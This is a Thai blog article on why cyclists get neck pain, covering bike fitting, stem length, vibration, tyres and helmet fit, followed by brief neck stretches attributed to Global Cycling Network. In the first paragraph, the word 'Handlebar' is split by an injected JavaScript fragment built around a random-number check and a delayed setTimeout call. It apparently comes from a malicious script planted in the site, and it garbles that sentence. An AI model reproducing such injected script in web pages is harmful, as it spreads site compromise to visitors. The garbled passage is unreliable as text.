3 วิธียืดกล้ามเนื้อคอ ลดอาการปวด สำหรับนักปั่น
ถ้าถามว่าอาการเจ็บคอของนักปั่นเกิดขึ้นจากอะไร…อย่างเเรกที่ควรสังเกตคือ การทำ Fitting จักรยานของเรา ตำเเหน่งของเบาะ (Saddle) และตำเเหล่งของแฮนด์ (Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar) ทั้งสองเป็นตัวเเปรสำคัญต่อการถ่ายน้ำหนักหรือ weight distribution การปรับเบาะที่ไม่เหมาะสมกับสรีระ สูงหรือต่ำไป เบาะชี้ขึ้นหรือชี้ลง จะทำให้ส่วนของ Upper body รับน้ำหนัก หรือก็คือเเขน อก ไหล่ คอ จะต้องรับภาระเเบกน้ำหนัก ต่อมาก็เป็น ความยาวของสเต็ม (Stem) ยิ่งยาวจะทำให้เราต้อง หมอบก้มต่ำลง ต้องยกคอเพื่อมองข้างหน้า ทำให้มีเเรงกดลงที่ต้นคอมากขึ้น นอกจากนี้ สเต็มที่ยาว ทำให้ drop bar ต่ำลงด้วย ต้องหมอบเเละยกคอเงยมากขึ้นไปอีก
หรือสำหรับใครที่เซตจักรยานให้เป็นเเบบเน้น Aerodynamic มากไป ก็อาจจะเป็นสาเหตุให้มีอาการปวดเกิดขึ้นไป ถ้าเป็นอย่างนี้วิธีเเก้คือต้องทำ Re-fitting ใหม่อีกครั้ง
ต่อมาก็ว่าด้วยการรับเเรงสั่นสะเทือน หรือ Vibration จากตัวพื้นผิวถนนสู่จักรยานเเละสู่ร่างกาย เราที่มีความ Stiffness สูงๆ จะทำให้เกิดอาการปวดเมื่อยได้ง่าย ดั่งนั้นวิธีช่วยบรรเทาคือ การเลือกพัน Bar tape ใหม่อีกครั้ง เลือกเเบบที่หนานุ่ม มี cushion มากขึ้น จะช่วยลดเเรงสั่นได้…การเปลี่ยนขนาดล้อไปเป็น 25มิล ความดันลมในล้อเเละประเภทของล้อยางก็มีผลช่วยลดเเรงสั่นเช่นกัน
ต่อมาก็เป็นอะไรที่เราไม่คาดถึงว่าจะทำให้เราปวดคอได้…นั้นคือ หมวกกันน็อก…หลวมไป ไม่กระชับ เลื่อนๆไปมา ใส่เเล้วบดบังวิสัยทัศน์ มีผลทั้งนั้น ยิ่งใครที่ชอบใส่หมวกทับ ระวังอย่าให้บังมุมมองข้างหน้า เพราะต้องเงยหน้ามากกว่าปกติ ทำให้เจ็บคอได้นะ
ตัวอย่างเช่น ใครที่ใส่หมวกกันน็อกเเบบ เสือภูเขาที่มีการ์ดข้างหน้า ที่สามารถถอดติดไป ถ้ามันบังวิสัยทัศน์เวลามอง เราต้องเงยมากขึ้น ทำให้คอต้องรับเเรงกดมากขึ้นไปอีก
เอาละที่นี้พอเราทราบถึงสาเหตุกันเเล้ว เราลองมาดูวิธีคร่าวๆ ในการยืดกล้ามเนื้อคอเพื่อบรรเทาอาการเจ็บปวดกัน…จาก Global Cycling Network
ต่อมาก็เป็นท่าหมุนคอไปซ้ายขวา
ต่อด้วยการกดคางค้างไว้
ถ้าใครอยากดูตัวเต็ม เชิญชมคลิปข้างล่างเลยครับ